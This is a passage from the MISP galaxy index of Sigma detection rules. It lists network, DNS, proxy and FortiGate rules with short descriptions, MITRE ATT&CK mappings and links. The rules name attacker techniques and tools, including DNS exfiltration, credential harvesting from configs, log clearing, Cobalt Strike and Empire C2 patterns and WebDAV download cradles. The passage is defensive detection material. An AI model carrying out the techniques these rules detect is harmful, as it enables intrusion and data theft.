Table 16772. Table References

Links
https://www.blackhat.com/presentations/bh-usa-03/bh-us-03-convery-franz-v3.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/bgp/cisco_bgp_md5_auth_failed.yml

Cisco Local Accounts

Find local accounts being created or modified as well as remote authentication configurations

The tag is: *misp-galaxy:sigma-rules="Cisco Local Accounts"*

View relationships graph

Cisco Local Accounts has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 16773. Table References

Links

https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_local_accounts.yml

Cisco Collect Data

Collect pertinent data from the configuration files

The tag is: *misp-galaxy:sigma-rules="Cisco Collect Data"*

View relationships graph

Cisco Collect Data has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

Table 16774. Table References

Links
https://www.cisco.com/E-Learning/bulk/public/tac/cim/cib/using_cisco_ios_software/cmdrefs/show_startup-config.htm
https://blog.router-switch.com/2013/11/show-running-config/
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/config-mgmt/configuration/15-sy/config-mgmt-15-sy-book/cm-config-diff.html
https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_collect_data.yml

Cisco Crypto Commands

Show when private keys are being exported from the device, or when new certificates are installed

The tag is: *misp-galaxy:sigma-rules="Cisco Crypto Commands"*

View relationships graph

Cisco Crypto Commands has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1553.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"

Table 16775. Table References

Links
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/a1/sec-a1-cr-book/sec-a1-cr-book_chapter_0111.html
https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_crypto_actions.yml

Cisco Clear Logs

Clear command history in network OS which is used for defense evasion

The tag is: *misp-galaxy:sigma-rules="Cisco Clear Logs"*

View relationships graph

Cisco Clear Logs has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Clear Command History - T1070.003" with estimative-language:likelihood-probability="almost-certain"

Table 16776. Table References

Links
https://www.cisco.com/c/en/us/td/docs/ios/12_2sr/12_2sra/feature/guide/srmgtint.html#wp1127609
https://www.cisco.com/c/en/us/td/docs/switches/datacenter/nexus5000/sw/command/reference/sysmgmt/n5k-sysmgmt-cr/n5k-sm_cmds_c.html
https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_clear_logs.yml

Cisco File Deletion

See what files are being deleted from flash file systems

The tag is: *misp-galaxy:sigma-rules="Cisco File Deletion"*

View relationships graph

Cisco File Deletion has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1561.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1561.002" with estimative-language:likelihood-probability="almost-certain"

Table 16777. Table References

Links

https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_file_deletion.yml

Cisco Sniffing

Show when a monitor or a span/rspan is setup or modified

The tag is: *misp-galaxy:sigma-rules="Cisco Sniffing"*

View relationships graph

Cisco Sniffing has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"

Table 16778. Table References

Links
https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_net_sniff.yml

Cisco Discovery

Find information about network devices that is not stored in config files

The tag is: *misp-galaxy:sigma-rules="Cisco Discovery"*

View relationships graph

Cisco Discovery has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 16779. Table References

Links
https://www.cisco.com/c/en/us/td/docs/server_nw_virtual/2-5_release/command_reference/show.html
https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_discovery.yml

Cisco Show Commands Input

See what commands are being input into the device by other people, full credentials can be in the history

The tag is: *misp-galaxy:sigma-rules="Cisco Show Commands Input"*

View relationships graph

Cisco Show Commands Input has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Shell History - T1552.003" with estimative-language:likelihood-probability="almost-certain"

Table 16780. Table References

Links
https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_input_capture.yml

Cisco Modify Configuration

Modifications to a config that will serve an adversary's impacts or persistence

The tag is: *misp-galaxy:sigma-rules="Cisco Modify Configuration"*

View relationships graph

Cisco Modify Configuration has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Server Software Component - T1505" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1565.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task/Job - T1053" with estimative-language:likelihood-probability="almost-certain"

Table 16781. Table References

Links
https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_modify_config.yml

Cisco Stage Data

Various protocols maybe used to put data on the device for exfil or infil

The tag is: *misp-galaxy:sigma-rules="Cisco Stage Data"*

View relationships graph

Cisco Stage Data has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"

Table 16782. Table References

Links
https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_moving_data.yml

Cisco Denial of Service

Detect a system being shutdown or put into different boot mode

The tag is: *misp-galaxy:sigma-rules="Cisco Denial of Service"*

View relationships graph

Cisco Denial of Service has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Firmware Corruption - T1495" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1565.001" with estimative-language:likelihood-probability="almost-certain"

Table 16783. Table References

Links

https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_dos.yml

Cisco Disabling Logging

Turn off logging locally or remote

The tag is: *misp-galaxy:sigma-rules="Cisco Disabling Logging"*

View relationships graph

Cisco Disabling Logging has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16784. Table References

Links
https://www.cisco.com/en/US/docs/ios/security/command/reference/sec_a2.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/aaa/cisco_cli_disable_logging.yml

Cisco LDP Authentication Failures

Detects LDP failures which may be indicative of brute force attacks to manipulate MPLS labels

The tag is: *misp-galaxy:sigma-rules="Cisco LDP Authentication Failures"*

View relationships graph

Cisco LDP Authentication Failures has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Adversary-in-the-Middle - T1557" with estimative-language:likelihood-probability="almost-certain"

Table 16785. Table References

Links
https://www.blackhat.com/presentations/bh-usa-03/bh-us-03-convery-franz-v3.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/network/cisco/ldp/cisco_ldp_md5_auth_failed.yml

Huawei BGP Authentication Failures

Detects BGP failures which may be indicative of brute force attacks to manipulate routing.

The tag is: *misp-galaxy:sigma-rules="Huawei BGP Authentication Failures"*

View relationships graph

Huawei BGP Authentication Failures has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Adversary-in-the-Middle - T1557" with estimative-language:likelihood-probability="almost-certain"

Table 16786. Table References

Links
https://www.blackhat.com/presentations/bh-usa-03/bh-us-03-convery-franz-v3.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/network/huawei/bgp/huawei_bgp_auth_failed.yml

DNS Query to External Service Interaction Domains

Detects suspicious DNS queries to external service interaction domains often used for out-of-band interactions after successful RCE

The tag is: *misp-galaxy:sigma-rules="DNS Query to External Service Interaction Domains"*

View relationships graph

DNS Query to External Service Interaction Domains has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Vulnerability Scanning - T1595.002" with estimative-language:likelihood-probability="almost-certain"

Table 16787. Table References

Links
https://github.com/SigmaHQ/sigma/pull/5724#issuecomment-3466382234
https://www.bitdefender.com/en-us/blog/businessinsights/bitdefender-advisory-critical-unauthenticated-rce-windows-server-update-services-cve-2025-59287
https://twitter.com/breakersall/status/1533493587828260866

https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_external_service_interaction_domains.yml

Wannacry Killswitch Domain

Detects wannacry killswitch domain dns queries

The tag is: *misp-galaxy:sigma-rules="Wannacry Killswitch Domain"*

View relationships graph

Wannacry Killswitch Domain has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 16788. Table References

Links
https://www.mandiant.com/resources/blog/wannacry-ransomware-campaign
https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_wannacry_killswitch_domain.yml

Cobalt Strike DNS Beaconing

Detects suspicious DNS queries known from Cobalt Strike beacons

The tag is: *misp-galaxy:sigma-rules="Cobalt Strike DNS Beaconing"*

View relationships graph

Cobalt Strike DNS Beaconing has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"

Table 16789. Table References

Links
https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/
https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns
https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_mal_cobaltstrike.yml

DNS TXT Answer with Possible Execution Strings

Detects strings used in command execution in DNS TXT Answer

The tag is: *misp-galaxy:sigma-rules="DNS TXT Answer with Possible Execution Strings"*

View relationships graph

DNS TXT Answer with Possible Execution Strings has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"

Table 16790. Table References

Links
https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Backdoors/DNS_TXT_Pwnage.ps1
https://twitter.com/stvemillertime/status/1024707932447854592
https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_susp_txt_exec_strings.yml

Monero Crypto Coin Mining Pool Lookup

Detects suspicious DNS queries to Monero mining pools

The tag is: *misp-galaxy:sigma-rules="Monero Crypto Coin Mining Pool Lookup"*

View relationships graph

Monero Crypto Coin Mining Pool Lookup has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Web Service - T1567" with estimative-language:likelihood-probability="almost-certain"

Table 16791. Table References

Links
https://www.nextron-systems.com/2021/10/24/monero-mining-pool-fqdns/
https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_pua_cryptocoin_mining_xmr.yml

Telegram Bot API Request

Detects suspicious DNS queries to api.telegram.org used by Telegram Bots of any kind

The tag is: *misp-galaxy:sigma-rules="Telegram Bot API Request"*

View relationships graph

Telegram Bot API Request has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"

Table 16792. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2016/11/telecrypt-the-ransomware-abusing-telegram-api-defeated/
https://core.telegram.org/bots/faq
https://researchcenter.paloaltonetworks.com/2018/03/unit42-telerat-another-android-trojan-leveraging-telegrams-bot-api-to-target-iranian-users/
https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/
https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_susp_telegram_api.yml

Suspicious DNS Query with B64 Encoded String

Detects suspicious DNS queries using base64 encoding

The tag is: *misp-galaxy:sigma-rules="Suspicious DNS Query with B64 Encoded String"*

View relationships graph

Suspicious DNS Query with B64 Encoded String has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"

Table 16793. Table References

Links
https://github.com/krmaxwell/dns-exfiltration
https://github.com/SigmaHQ/sigma/tree/master/rules/network/dns/net_dns_susp_b64_queries.yml

Juniper BGP Missing MD5

Detects juniper BGP missing MD5 digest. Which may be indicative of brute force attacks to manipulate routing.

The tag is: *misp-galaxy:sigma-rules="Juniper BGP Missing MD5"*

View relationships graph

Juniper BGP Missing MD5 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-

language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Adversary-in-the-Middle - T1557" with estimative-language:likelihood-probability="almost-certain"

Table 16794. Table References

Links
https://www.blackhat.com/presentations/bh-usa-03/bh-us-03-convery-franz-v3.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/network/juniper/bgp/juniper_bgp_missing_md5.yml

FortiGate - New Firewall Policy Added

Detects the addition of a new firewall policy on a Fortinet FortiGate Firewall.

The tag is: *misp-galaxy:sigma-rules="FortiGate - New Firewall Policy Added"*

View relationships graph

FortiGate - New Firewall Policy Added has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"

Table 16795. Table References

Links
https://docs.fortinet.com/document/fortigate/7.6.4/fortios-log-message-reference/44547/44547-logid-event-config-objattr
https://docs.fortinet.com/document/fortigate/7.6.4/cli-reference/333889629/config-firewall-policy
https://docs.fortinet.com/document/fortigate/7.6.4/fortios-log-message-reference/398/event
https://www.fortiguard.com/psirt/FG-IR-24-535
https://github.com/SigmaHQ/sigma/tree/master/rules/network/fortinet/fortigate/fortinet_fortigate_new_firewall_policy_added.yml

FortiGate - New Local User Created

Detects the creation of a new local user on a Fortinet FortiGate Firewall. The new local user could be used for VPN connections.

The tag is: *misp-galaxy:sigma-rules="FortiGate - New Local User Created"*

View relationships graph

FortiGate - New Local User Created has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"

Table 16796. Table References

Links
https://docs.fortinet.com/document/fortigate/7.6.4/fortios-log-message-reference/44547/44547-logid-event-config-objattr
https://docs.fortinet.com/document/fortigate/7.6.4/cli-reference/109120963/config-user-local
https://docs.fortinet.com/document/fortigate/7.6.4/fortios-log-message-reference/398/event
https://www.fortiguard.com/psirt/FG-IR-24-535
https://github.com/SigmaHQ/sigma/tree/master/rules/network/fortinet/fortigate/fortinet_fortigate_new_local_user_created.yml

FortiGate - VPN SSL Settings Modified

Detects the modification of VPN SSL Settings (for example, the modification of authentication rules). This behavior was observed in pair with the addition of a VPN SSL Web Portal.

The tag is: *misp-galaxy:sigma-rules="FortiGate - VPN SSL Settings Modified"*

View relationships graph

FortiGate - VPN SSL Settings Modified has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"

Table 16797. Table References

Links
https://docs.fortinet.com/document/fortigate/7.6.4/fortios-log-message-reference/44546/44546-logid-event-config-attr
https://docs.fortinet.com/document/fortigate/7.6.4/fortios-log-message-reference/398/event
https://www.fortiguard.com/psirt/FG-IR-24-535
https://docs.fortinet.com/document/fortigate/7.6.4/cli-reference/114404382/config-vpn-ssl-settings
https://github.com/SigmaHQ/sigma/tree/master/rules/network/fortinet/fortigate/fortinet_fortigate_vpn_ssl_settings_modified.yml

FortiGate - New Administrator Account Created

Detects the creation of an administrator account on a Fortinet FortiGate Firewall.

The tag is: *misp-galaxy:sigma-rules="FortiGate - New Administrator Account Created"*

View relationships graph

FortiGate - New Administrator Account Created has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"

Table 16798. Table References

Links
https://docs.fortinet.com/document/fortigate/7.6.4/cli-reference/390485493/config-system-admin
https://docs.fortinet.com/document/fortigate/7.6.4/fortios-log-message-reference/44547/44547-logid-event-config-objattr
https://docs.fortinet.com/document/fortigate/7.6.4/fortios-log-message-reference/398/event
https://www.fortiguard.com/psirt/FG-IR-24-535
https://github.com/SigmaHQ/sigma/tree/master/rules/network/fortinet/fortigate/fortinet_fortigate_new_admin_account_created.yml

FortiGate - Firewall Address Object Added

Detects the addition of firewall address objects on a Fortinet FortiGate Firewall.

The tag is: *misp-galaxy:sigma-rules="FortiGate - Firewall Address Object Added"*

View relationships graph

FortiGate - Firewall Address Object Added has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"

Table 16799. Table References

Links
https://docs.fortinet.com/document/fortigate/7.6.4/fortios-log-message-reference/44547/44547-logid-event-config-objattr
https://docs.fortinet.com/document/fortigate/7.6.4/cli-reference/306021697/config-firewall-address
https://docs.fortinet.com/document/fortigate/7.6.4/fortios-log-message-reference/398/event
https://www.fortiguard.com/psirt/FG-IR-24-535
https://github.com/SigmaHQ/sigma/tree/master/rules/network/fortinet/fortigate/fortinet_fortigate_new_firewall_address_object.yml

FortiGate - User Group Modified

Detects the modification of a user group on a Fortinet FortiGate Firewall. The group could be used to grant VPN access to a network.

The tag is: *misp-galaxy:sigma-rules="FortiGate - User Group Modified"*

Table 16800. Table References

Links
https://docs.fortinet.com/document/fortigate/7.6.4/cli-reference/328136827/config-user-group
https://docs.fortinet.com/document/fortigate/7.6.4/fortios-log-message-reference/44547/44547-logid-event-config-objattr
https://docs.fortinet.com/document/fortigate/7.6.4/fortios-log-message-reference/398/event
https://www.fortiguard.com/psirt/FG-IR-24-535
https://github.com/SigmaHQ/sigma/tree/master/rules/network/fortinet/fortigate/fortinet_fortigate_user_group_modified.yml

FortiGate - New VPN SSL Web Portal Added

Detects the addition of a VPN SSL Web Portal on a Fortinet FortiGate Firewall. This behavior was observed in pair with modification of VPN SSL settings.

The tag is: *misp-galaxy:sigma-rules="FortiGate - New VPN SSL Web Portal Added"*

View relationships graph

FortiGate - New VPN SSL Web Portal Added has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"

Table 16801. Table References

Links
https://docs.fortinet.com/document/fortigate/7.6.4/cli-reference/113121765/config-vpn-ssl-web-portal
https://docs.fortinet.com/document/fortigate/7.6.4/fortios-log-message-reference/44547/44547-logid-event-config-objattr
https://docs.fortinet.com/document/fortigate/7.6.4/fortios-log-message-reference/398/event
https://www.fortiguard.com/psirt/FG-IR-24-535
https://github.com/SigmaHQ/sigma/tree/master/rules/network/fortinet/fortigate/fortinet_fortigate_new_vpn_ssl_web_portal.yml

Cleartext Protocol Usage

Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channels. Ensure that an encryption is used for all sensitive information in transit. Ensure that an encrypted channels is used for all administrative account access.

The tag is: *misp-galaxy:sigma-rules="Cleartext Protocol Usage"*

Table 16802. Table References

Links
https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf
https://www.cisecurity.org/controls/cis-controls-list/
https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/network/firewall/net_firewall_cleartext_protocols.yml

Potential Hello-World Scraper Botnet Activity

Detects network traffic potentially associated with a scraper botnet variant that uses the "Hello-World/1.0" user-agent string.

The tag is: *misp-galaxy:sigma-rules="Potential Hello-World Scraper Botnet Activity"*

View relationships graph

Potential Hello-World Scraper Botnet Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Active Scanning - T1595" with estimative-language:likelihood-probability="almost-certain"

Table 16803. Table References

Links
https://viz.greynoise.io/tags/hello-world-scraper-botnet?days=30
https://www.greynoise.io/blog/new-scraper-botnet-concentrated-in-taiwan
https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_hello_world_user_agent.yml

HackTool - BabyShark Agent Default URL Pattern

Detects Baby Shark C2 Framework default communication patterns

The tag is: *misp-galaxy:sigma-rules="HackTool - BabyShark Agent Default URL Pattern"*

View relationships graph

HackTool - BabyShark Agent Default URL Pattern has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 16804. Table References

Links
https://nasbench.medium.com/understanding-detecting-c2-frameworks-babyshark-641be4595845

https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_hktl_baby_shark_default_agent_url.yml

Windows WebDAV User Agent

Detects WebDav DownloadCradle

The tag is: *misp-galaxy:sigma-rules="Windows WebDAV User Agent"*

View relationships graph

Windows WebDAV User Agent has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 16805. Table References

Links
https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html
https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_downloadcradle_webdav.yml

HackTool - CobaltStrike Malleable Profile Patterns - Proxy

Detects cobalt strike malleable profiles patterns (URI, User-Agents, Methods).

The tag is: *misp-galaxy:sigma-rules="HackTool - CobaltStrike Malleable Profile Patterns - Proxy"*

View relationships graph

HackTool - CobaltStrike Malleable Profile Patterns - Proxy has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 16806. Table References

Links
https://www.hybrid-analysis.com/sample/ee5eca8648e45e2fea9dac0d920ef1a1792d8690c41ee7f20343de1927cc88b9?environmentId=100
https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/amazon.profile
https://github.com/yeyintminthuhtut/Malleable-C2-Profiles-Collection/

https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/ocsp.profile
https://github.com/rsmudge/Malleable-C2-Profiles/blob/26323784672913923d20c5a638c6ca79459e8529/normal/onedrive_getonly.profile
https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_hktl_cobalt_strike_malleable_c2_requests.yml

Suspicious External WebDAV Execution

Detects executables launched from external WebDAV shares using the WebDAV Explorer integration, commonly seen in initial access campaigns.

The tag is: *misp-galaxy:sigma-rules="Suspicious External WebDAV Execution"*

View relationships graph

Suspicious External WebDAV Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Compromise Infrastructure - T1584" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="almost-certain"

Table 16807. Table References

Links
https://dear-territory-023.notion.site/WebDav-Share-Testing-e4950fa0c00149c3aa430d779b9b1d0f?pvs=4
https://micahbabinski.medium.com/search-ms-webdav-and-chill-99c5b23ac462
https://www.trellix.com/en-us/about/newsroom/stories/research/beyond-file-search-a-novel-method.html
https://www.trendmicro.com/en_no/research/24/b/cve202421412-water-hydra-targets-traders-with-windows-defender-s.html
https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_webdav_external_execution.yml

HackTool - Empire UserAgent URI Combo

Detects user agent and URI paths used by empire agents

The tag is: *misp-galaxy:sigma-rules="HackTool - Empire UserAgent URI Combo"*

View relationships graph

HackTool - Empire UserAgent URI Combo has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 16808. Table References

Links
https://github.com/BC-SECURITY/Empire
https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_hktl_empire_ua_uri_patterns.yml

Download From Suspicious TLD - Blacklist

Detects download of certain file types from hosts in suspicious TLDs

The tag is: *misp-galaxy:sigma-rules="Download From Suspicious TLD - Blacklist"*

View relationships graph

Download From Suspicious TLD - Blacklist has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

Table 16809. Table References

Links
https://www.symantec.com/connect/blogs/shady-tld-research-gdn-and-our-2016-wrap
https://promos.mcafee.com/en-US/PDF/MTMW_Report.pdf
https://www.spamhaus.org/statistics/tlds/
https://krebsonsecurity.com/2018/06/bad-men-at-work-please-dont-click/
https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_download_susp_tlds_blacklist.yml

Exploit Framework User Agent

Detects suspicious user agent strings used by exploit / pentest frameworks like Metasploit in proxy logs

The tag is: *misp-galaxy:sigma-rules="Exploit Framework User Agent"*

View relationships graph

Exploit Framework User Agent has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 16810. Table References

Links
https://blog.didierstevens.com/2015/03/16/quickpost-metasploit-user-agent-strings/
https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_frameworks.yml

Bitsadmin to Uncommon TLD

Detects Bitsadmin connections to domains with uncommon TLDs

The tag is: *misp-galaxy:sigma-rules="Bitsadmin to Uncommon TLD"*

View relationships graph

Bitsadmin to Uncommon TLD has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"

Table 16811. Table References

Links
https://isc.sans.edu/forums/diary/Investigating+Microsoft+BITS+Activity/23281/
https://twitter.com/jhencinski/status/1102695118455349248
https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_bitsadmin_susp_tld.yml

Suspicious User Agent

Detects suspicious malformed user agent strings in proxy logs

The tag is: *misp-galaxy:sigma-rules="Suspicious User Agent"*

View relationships graph

Suspicious User Agent has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 16812. Table References

Links

https://github.com/fastly/waf_testbed/blob/8bfc406551f3045e418cbaad7596cff8da331dfc/templates/default/scanners-user-agents.data.erb
https://github.com/SigmaHQ/sigma/tree/master/rules/web/proxy_generic/proxy_ua_susp.yml

Malware User Agent

Detects suspicious user agent strings used by malware in proxy logs

The tag is: *misp-galaxy:sigma-rules="Malware User Agent"*

View relationships graph

Malware User Agent has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 16813. Table References

Links
http://rules.emergingthreats.net/open/snort-2.9.0/rules/emerging-user_agents.rules
https://twitter.com/crep1x/status/1635034100213112833
https://pbs.twimg.com/media/FtYbfsDXoAQ1Y8M?format=jpg&name=large
